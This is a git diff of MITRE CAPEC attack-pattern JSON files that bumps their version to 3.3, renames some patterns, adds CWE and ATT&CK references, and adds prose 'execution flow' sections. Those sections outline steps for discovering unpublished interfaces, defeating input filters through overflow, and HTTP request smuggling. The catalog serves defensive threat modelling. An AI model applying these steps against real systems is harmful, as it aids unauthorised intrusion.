"bundle", - "id": "bundle--0be08741-f1c8-4474-b2f1-3cb150bb3ef8", + "id": "bundle--c3e9a356-8a43-45ea-b26b-852d34433ed3", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ce75149a-6882-4b07-8841-db9d6a9ec20d.json b/capec/attack-pattern/attack-pattern--ce75149a-6882-4b07-8841-db9d6a9ec20d.json index 2cb614fac0..671f6cfe6a 100644 --- a/capec/attack-pattern/attack-pattern--ce75149a-6882-4b07-8841-db9d6a9ec20d.json +++ b/capec/attack-pattern/attack-pattern--ce75149a-6882-4b07-8841-db9d6a9ec20d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d5717f40-c052-493c-ab0a-af2bc0a893e2", + "id": "bundle--4df6e91c-108c-4805-ac87-1fc1d71fa761", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ce92f5b9-6228-4354-8a1b-72ad7ad3bb84.json b/capec/attack-pattern/attack-pattern--ce92f5b9-6228-4354-8a1b-72ad7ad3bb84.json index eb2754033b..b5fc25cac7 100644 --- a/capec/attack-pattern/attack-pattern--ce92f5b9-6228-4354-8a1b-72ad7ad3bb84.json +++ b/capec/attack-pattern/attack-pattern--ce92f5b9-6228-4354-8a1b-72ad7ad3bb84.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e8671765-091c-4aaa-a6fd-9b59cc868021", + "id": "bundle--2581cb4b-df5c-4836-b791-4749a826aade", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46.json b/capec/attack-pattern/attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46.json index 3a25a27c73..ff941da69d 100644 --- a/capec/attack-pattern/attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46.json +++ b/capec/attack-pattern/attack-pattern--cf550376-63ac-4b46-87d1-0e324c1c1c46.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--cd1401d4-ad51-4220-be08-3de8ec58d2d0", + "id": "bundle--b5fa0ed8-8570-4b56-a6dd-4719cdbc35b5", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--cfd5f6ba-7029-4bc2-82e9-5c6901cc9268.json b/capec/attack-pattern/attack-pattern--cfd5f6ba-7029-4bc2-82e9-5c6901cc9268.json index 786670df05..bd1534fd27 100644 --- a/capec/attack-pattern/attack-pattern--cfd5f6ba-7029-4bc2-82e9-5c6901cc9268.json +++ b/capec/attack-pattern/attack-pattern--cfd5f6ba-7029-4bc2-82e9-5c6901cc9268.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--053baa77-1e41-4d0a-849e-cf6784e92e48", + "id": "bundle--ae8e8b7e-1225-4e14-b0c5-591f937f6a3e", "spec_version": "2.0", "objects": [ { @@ -24,7 +24,7 @@ "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d0b5b0f9-251f-42f2-bece-3859e138be60.json b/capec/attack-pattern/attack-pattern--d0b5b0f9-251f-42f2-bece-3859e138be60.json index 80a71a53d2..bc221617ae 100644 --- a/capec/attack-pattern/attack-pattern--d0b5b0f9-251f-42f2-bece-3859e138be60.json +++ b/capec/attack-pattern/attack-pattern--d0b5b0f9-251f-42f2-bece-3859e138be60.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--760a7583-2b96-4862-b726-6fcab3a971b8", + "id": "bundle--4a976c09-9091-42af-8410-0332ea9d0505", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ "x_capec_likelihood_of_attack": "Medium", "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5.json b/capec/attack-pattern/attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5.json index 17ee02ff9c..ace2990aca 100644 --- a/capec/attack-pattern/attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5.json +++ b/capec/attack-pattern/attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--faebcadd-6a56-449b-a172-f90521dd3cbd", + "id": "bundle--60715f3f-b864-4163-a610-a7bb86338830", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--d0db3641-ee0d-4897-89aa-3c85c69377a5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", - "name": "Using Unpublished APIs", - "description": "An adversary searches for and invokes APIs that the target system designers did not intend to be publicly available. If these APIs fail to authenticate requests the attacker may be able to invoke functionality they are not authorized for.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Using Unpublished Interfaces", + "description": "An adversary searches for and invokes interfaces that the target system designers did not intend to be publicly available. If these interfaces fail to authenticate requests the attacker may be able to invoke functionality they are not authorized for.", "external_references": [ { "source_name": "capec", @@ -31,6 +31,11 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/695.html", "external_id": "CWE-695" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1242.html", + "external_id": "CWE-1242" } ], "object_marking_refs": [ @@ -52,6 +57,7 @@ "x_capec_example_instances": [ "To an extent, Google services (such as Google Maps) are all well-known examples. Calling these services, or extending them for one's own (perhaps very different) purposes is as easy as knowing they exist. Their unencumbered public use, however, is a purposeful aspect of Google's business model. Most organizations, however, do not have the same business model. Organizations publishing services usually fall back on thoughts that Attackers \"will not know services exist\" and that \"even if they did, they wouldn't be able to access them because they're not on the local LAN.\" Simple threat modeling exercises usually uncovers simple attack vectors that can invalidate these assumptions." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify services: Discover a service of interest by exploring service registry listings or by connecting on a known port or some similar means.

    2. Techniques
    Search via internet for known, published services.
    Use automated tools to scan known ports to identify internet-enabled services.
    Dump the code from the chip and then perform reverse engineering to analyze the code.

  2. Authenticate to service: Authenticate to the service, if required, in order to explore it.

    3. Techniques
    Use published credentials to access system.
    Find unpublished credentails to access service.
    Use other attack pattern or weakness to bypass authentication.

  3. Identify all interfaces: Determine the exposed interfaces by querying the registry as well as probably sniffing to expose interfaces that are not explicitly listed.

    4. Techniques
    For any published services, determine exposed interfaces via the documentation provided.
    For any services found, use error messages from poorly formed service calls to determine valid interfaces. In some cases, services will respond to poorly formed calls with valid ones.

Experiment

  1. Attempt to discover unpublished functions: Using manual or automated means, discover unpublished or undocumented functions exposed by the service.

    2. Techniques
    Manually attempt calls to the service using an educated guess approach, including the use of terms like' 'test', 'debug', 'delete', etc.
    Use automated tools to scan the service to attempt to reverse engineer exposed, but undocumented, features.

Exploit

  1. Exploit unpublished functions: Using information determined via experimentation, exploit the unpublished features of the service.

    2. Techniques
    Execute features that are not intended to be used by general system users.
    Craft malicious calls to features not intended to be used by general system users that take advantage of security flaws found in the functions.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The architecture under attack must publish or otherwise make available services that clients can attach to, either in an unauthenticated fashion, or having obtained an authentication token elsewhere. The service need not be 'discoverable', but in the event it isn't it must have some way of being discovered by an attacker. This might include listening on a well-known port. Ultimately, the likelihood of exploit depends on discoverability of the vulnerable service." @@ -60,11 +66,11 @@ "None: No specialized resources are required to execute this type of attack. Web service digging tools may be helpful." ], "x_capec_skills_required": { - "Low": "A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that he can sniff/monitor for." + "Low": "A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that they can sniff/monitor for." }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d16af13f-5e0f-4a6b-bc1f-23f733d2229b.json b/capec/attack-pattern/attack-pattern--d16af13f-5e0f-4a6b-bc1f-23f733d2229b.json index f86dd75d64..89245bc36b 100644 --- a/capec/attack-pattern/attack-pattern--d16af13f-5e0f-4a6b-bc1f-23f733d2229b.json +++ b/capec/attack-pattern/attack-pattern--d16af13f-5e0f-4a6b-bc1f-23f733d2229b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1ca3b54d-a107-4b3c-ac0e-468c5702f59f", + "id": "bundle--15cfaa7c-88b5-4699-87ae-e460cbf47d50", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--d16af13f-5e0f-4a6b-bc1f-23f733d2229b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Redirect Access to Libraries", "description": "An adversary exploits a weakness in the way an application searches for external libraries to manipulate the execution flow to point to an adversary supplied library or code base. This pattern of attack allows the adversary to compromise the application or server via the execution of unauthorized code. An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. If an adversary can redirect an application's attempts to access these libraries to other libraries that the adversary supplies, the adversary will be able to force the targeted application to execute arbitrary code. This is especially dangerous if the targeted application has enhanced privileges. Access can be redirected through a number of techniques, including the use of symbolic links, search path modification, and relative path manipulation.", "external_references": [ @@ -22,6 +22,12 @@ "url": "http://cwe.mitre.org/data/definitions/706.html", "external_id": "CWE-706" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:LD_PRELOAD", + "url": "https://attack.mitre.org/wiki/Technique/T1574/006", + "external_id": "T1574.006" + }, { "source_name": "reference_from_CAPEC", "description": "Silvio Cesare, Share Library Call Redirection Via ELF PLT Infection (Issue 56), Phrack Magazine, 2000", @@ -62,7 +68,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d17eb5a5-1361-4e13-a969-e4d587d13b3d.json b/capec/attack-pattern/attack-pattern--d17eb5a5-1361-4e13-a969-e4d587d13b3d.json index 642beaad1e..41b9a45e2d 100644 --- a/capec/attack-pattern/attack-pattern--d17eb5a5-1361-4e13-a969-e4d587d13b3d.json +++ b/capec/attack-pattern/attack-pattern--d17eb5a5-1361-4e13-a969-e4d587d13b3d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--657b3453-0e23-478f-9d0a-f581f85d9d9d", + "id": "bundle--008416ae-36de-4450-8029-0d0b347244c0", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c.json b/capec/attack-pattern/attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c.json index f95dfc7327..a5a6a14bfd 100644 --- a/capec/attack-pattern/attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c.json +++ b/capec/attack-pattern/attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--84188b77-1af8-4214-9282-d0127ad1c786", + "id": "bundle--8940a284-14fe-473b-99d8-2d7bdf8c0d66", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269.json b/capec/attack-pattern/attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269.json index a2b407dc84..12d336f16d 100644 --- a/capec/attack-pattern/attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269.json +++ b/capec/attack-pattern/attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--69c41fd2-3ebd-41ce-8ecd-d6e70516ea78", + "id": "bundle--957ea2d5-60ec-46ce-b60f-dccd348260ed", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--d43c7ffa-16a5-4eb9-8c29-3391cc7ff269", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "HTTP Flood", "description": "An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "object_marking_refs": [ @@ -31,7 +37,7 @@ "This type of an attack requires the ability to generate a large amount of HTTP traffic to send to a target server." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e.json b/capec/attack-pattern/attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e.json index 73df0cee88..b7a7236a95 100644 --- a/capec/attack-pattern/attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e.json +++ b/capec/attack-pattern/attack-pattern--d49fca9f-7eb0-4c1b-b2e6-c27119e5268e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--625c551c-cd3b-4ec4-bc6c-dcfe9ccabdcf", + "id": "bundle--87c0d7b5-91ed-4ea9-bbf1-04c5db4c69c0", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d4fd1606-6a28-4831-956b-ceab18f3546a.json b/capec/attack-pattern/attack-pattern--d4fd1606-6a28-4831-956b-ceab18f3546a.json index 3a06f1655c..e11ecc1709 100644 --- a/capec/attack-pattern/attack-pattern--d4fd1606-6a28-4831-956b-ceab18f3546a.json +++ b/capec/attack-pattern/attack-pattern--d4fd1606-6a28-4831-956b-ceab18f3546a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a0954c3b-7f27-400a-9f37-fc2a968cc076", + "id": "bundle--90ff06ec-abec-43c0-9143-d649b4adb88e", "spec_version": "2.0", "objects": [ { @@ -29,7 +29,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d56469be-4ebc-4443-b85a-3097193df4c4.json b/capec/attack-pattern/attack-pattern--d56469be-4ebc-4443-b85a-3097193df4c4.json index c1b3b1b5cb..f355c470c8 100644 --- a/capec/attack-pattern/attack-pattern--d56469be-4ebc-4443-b85a-3097193df4c4.json +++ b/capec/attack-pattern/attack-pattern--d56469be-4ebc-4443-b85a-3097193df4c4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7df81d73-8b97-4ae7-85bd-480f65ceb078", + "id": "bundle--7b62bcd8-18aa-403c-bee9-6167209c0495", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0.json b/capec/attack-pattern/attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0.json index 8688e1fc85..2b96ce0c11 100644 --- a/capec/attack-pattern/attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0.json +++ b/capec/attack-pattern/attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--453c7f3f-4d5b-4a4d-9097-79a523a724eb", + "id": "bundle--b965f6e7-4406-4996-8736-c2ef2f69336b", "spec_version": "2.0", "objects": [ { @@ -92,6 +92,7 @@ "A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection.", "Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey: The attacker surveys the target application, possibly as a valid and authenticated user

    2. Techniques
    Spidering web sites for inputs that involve potential filtering
    Brute force guessing of filtered inputs

Experiment

  1. Attempt injections: Try to feed overly long data to the system. This can be done manually or a dynamic tool (black box) can be used to automate this. An attacker can also use a custom script for that purpose.

    2. Techniques
    Brute force attack through black box penetration test tool.
    Fuzzing of communications protocols
    Manual testing of possible inputs with attack data.

  2. Monitor responses: Watch for any indication of failure occurring. Carefully watch to see what happened when filter failure occurred. Did the data get in?

    3. Techniques
    Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data.
    Check Log files. An attacker with access to log files can look at the outcome of bad input.

Exploit

  1. Abuse the system through filter failure: An attacker writes a script to consistently induce the filter failure.

    2. Techniques
    DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly.
    Malicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system.
    An attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Ability to control the length of data passed to an active filter." @@ -102,7 +103,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d5e0c12f-6086-491d-86e5-e10a14d1f947.json b/capec/attack-pattern/attack-pattern--d5e0c12f-6086-491d-86e5-e10a14d1f947.json index 169556f1c5..e5444bd7ee 100644 --- a/capec/attack-pattern/attack-pattern--d5e0c12f-6086-491d-86e5-e10a14d1f947.json +++ b/capec/attack-pattern/attack-pattern--d5e0c12f-6086-491d-86e5-e10a14d1f947.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7f25402a-09ea-4890-a35d-2aa55f62fb35", + "id": "bundle--2479e673-bb3f-40de-a49d-7469961c9bb1", "spec_version": "2.0", "objects": [ { @@ -8,14 +8,19 @@ "id": "attack-pattern--d5e0c12f-6086-491d-86e5-e10a14d1f947", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", - "name": "Shared Data Manipulation", - "description": "An adversary exploits a data structure shared between multiple applications or an application pool to affect application behavior. Data may be shared between multiple applications or between multiple threads of a single application. Data sharing is usually accomplished through mutual access to a single memory location. If an adversary can manipulate this shared data (usually by co-opting one of the applications or threads) the other applications or threads using the shared data will often continue to trust the validity of the compromised shared data and use it in their calculations. This can result in invalid trust assumptions, corruption of additional data through the normal operations of the other users of the shared data, or even cause a crash or compromise of the sharing applications.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Shared Resource Manipulation", + "description": "An adversary exploits a resource shared between multiple applications, an application pool or hardware pin multiplexing to affect behavior. Resources may be shared between multiple applications or between multiple threads of a single application. Resource sharing is usually accomplished through mutual access to a single memory location or multiplexed hardware pins. If an adversary can manipulate this shared resource (usually by co-opting one of the applications or threads) the other applications or threads using the shared resource will often continue to trust the validity of the compromised shared resource and use it in their calculations. This can result in invalid trust assumptions, corruption of additional data through the normal operations of the other users of the shared resource, or even cause a crash or compromise of the sharing applications.", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/124.html", "external_id": "CAPEC-124" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1189.html", + "external_id": "CWE-1189" } ], "object_marking_refs": [ @@ -23,15 +28,15 @@ ], "x_capec_abstraction": "Meta", "x_capec_prerequisites": [ - "The target applications (or target application threads) must share data between themselves.", - "The adversary must be able to manipulate some piece of the shared data either directly or indirectly and the other users of the data must accept the changed data as valid. Usually this requires that the adversary be able to compromise one of the sharing applications or threads in order to manipulate the shared data." + "The target applications, threads or functions must share resources between themselves.", + "The adversary must be able to manipulate some piece of the shared resource either directly or indirectly and the other users of the data must accept the changed data as valid. Usually this requires that the adversary be able to compromise one of the sharing applications or threads in order to manipulate the shared data." ], "x_capec_resources_required": [ - "None: No specialized resources are required to execute this type of attack." + "None: The attacker does not need any specialized resources to execute this type of attack." ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d780db94-413f-402d-a4d9-cf179b316c8c.json b/capec/attack-pattern/attack-pattern--d780db94-413f-402d-a4d9-cf179b316c8c.json index 4b57011193..689f517a1b 100644 --- a/capec/attack-pattern/attack-pattern--d780db94-413f-402d-a4d9-cf179b316c8c.json +++ b/capec/attack-pattern/attack-pattern--d780db94-413f-402d-a4d9-cf179b316c8c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5154b053-9b25-4036-9ff3-b9a16777e6be", + "id": "bundle--141d35ad-5c86-418f-b70f-cebd21726e48", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--d780db94-413f-402d-a4d9-cf179b316c8c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Host Discovery", "description": "An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.", "external_references": [ @@ -22,6 +22,18 @@ "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" }, + { + "source_name": "ATTACK", + "description": "System Network Connections Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1049", + "external_id": "T1049" + }, + { + "source_name": "ATTACK", + "description": "Remote System Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1018", + "external_id": "T1018" + }, { "source_name": "reference_from_CAPEC", "description": "Stuart McClure, Joel Scambray, George Kurtz, Hacking Exposed: Network Security Secrets & Solutions (6th Edition), 2009, McGraw Hill", @@ -60,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18.json b/capec/attack-pattern/attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18.json index d23390f3a4..1b1366f1e4 100644 --- a/capec/attack-pattern/attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18.json +++ b/capec/attack-pattern/attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2fd46c2a-edca-4d75-aa93-0f4ccb0c9eed", + "id": "bundle--f31f114b-9ade-44bb-90f4-025041853cb7", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "HTTP Request Smuggling", "description": "HTTP Request Smuggling results from the discrepancies in parsing HTTP requests between HTTP entities such as web caching proxies or application firewalls. Entities such as web servers, web caching proxies, application firewalls or simple proxies often parse HTTP requests in slightly different ways. Under specific situations where there are two or more such entities in the path of the HTTP request, a specially crafted request is seen by two attacked entities as two different sets of requests. This allows certain requests to be smuggled through to a second entity without the first one realizing it.", "external_references": [ @@ -22,11 +22,6 @@ "url": "http://cwe.mitre.org/data/definitions/444.html", "external_id": "CWE-444" }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/436.html", - "external_id": "CWE-436" - }, { "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/707.html", @@ -60,6 +55,7 @@ "When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks. See also: CVE-2006-6276", "Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both \"Content-Length\" and a \"Transfer-Encoding: chunked\" headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with \"Transfer-Encoding: chunked\" header without replacing the existing \"Content-Length\" header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with \"Content-Length: 0\". See also: CVE-2005-2088" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify HTTP parsing chain: Determine the technologies used in the target environment such as types of web servers, application firewalls, proxies, etc.

    2. Techniques
    Investigation of the target environment to determine the types of technologies used to parse the incoming HTTP requests. Attempt to understand the parsing chain traversed by the incoming HTTP request.

Experiment

  1. Probe for vulnerable differences in HTTP parsing chain: Attacker sends malformed HTTP Requests to the application looking for differences in the ways that individual layers in the parsing chain parse requests. When differences are identified, the attacker crafts specially malformed HTTP requests to determine if the identified parsing differences will allow extra requests to be smuggled through parsing layers.

    2. Techniques
    Create many consecutive requests to the server. Some of which must be malformed.
    Use a proxy tool to record the HTTP responses headers.

Exploit

  1. Cache poisoning: The attacker decides to target the cache server. The server will then cache the request and serve a wrong page to a legitimate user's request. The malicious request will most likely exploit a Cross-Site Scripting or another injection typed vulnerability.

    2. Techniques
    Leverage the vulnerabilities identified in the Experiment Phase to inject malicious HTTP request that contains HTTP Request syntax that will be processed and acted on by the outer parsing layer of the cache server but not by the inner application layer. In this way it will be cached by the server without obvious sign from the application and the corrupt data will be served to future requesters.

  2. Session Hijacking: The attacker decides to target the web server by crafting a malicious HTTP Request containing a second HTTP Request using syntax that will not be processed and acted on by an outer \"filter\" parsing layer but will be acted on by the inner web server/application processing layers. The application/web server will then act on the malicious HTTP Request as if it is a valid request from the client potentially subverting session management.

    3. Techniques
    Leverage the vulnerabilities identified in the Experiment Phase to inject malicious HTTP request that contains HTTP Request syntax that will not be processed and acted on by the outer parsing layer of the malicious content filters but will be by the inner application/web server layer. In this way it will be acted on by the application/web server as if it is a valid request from the client.
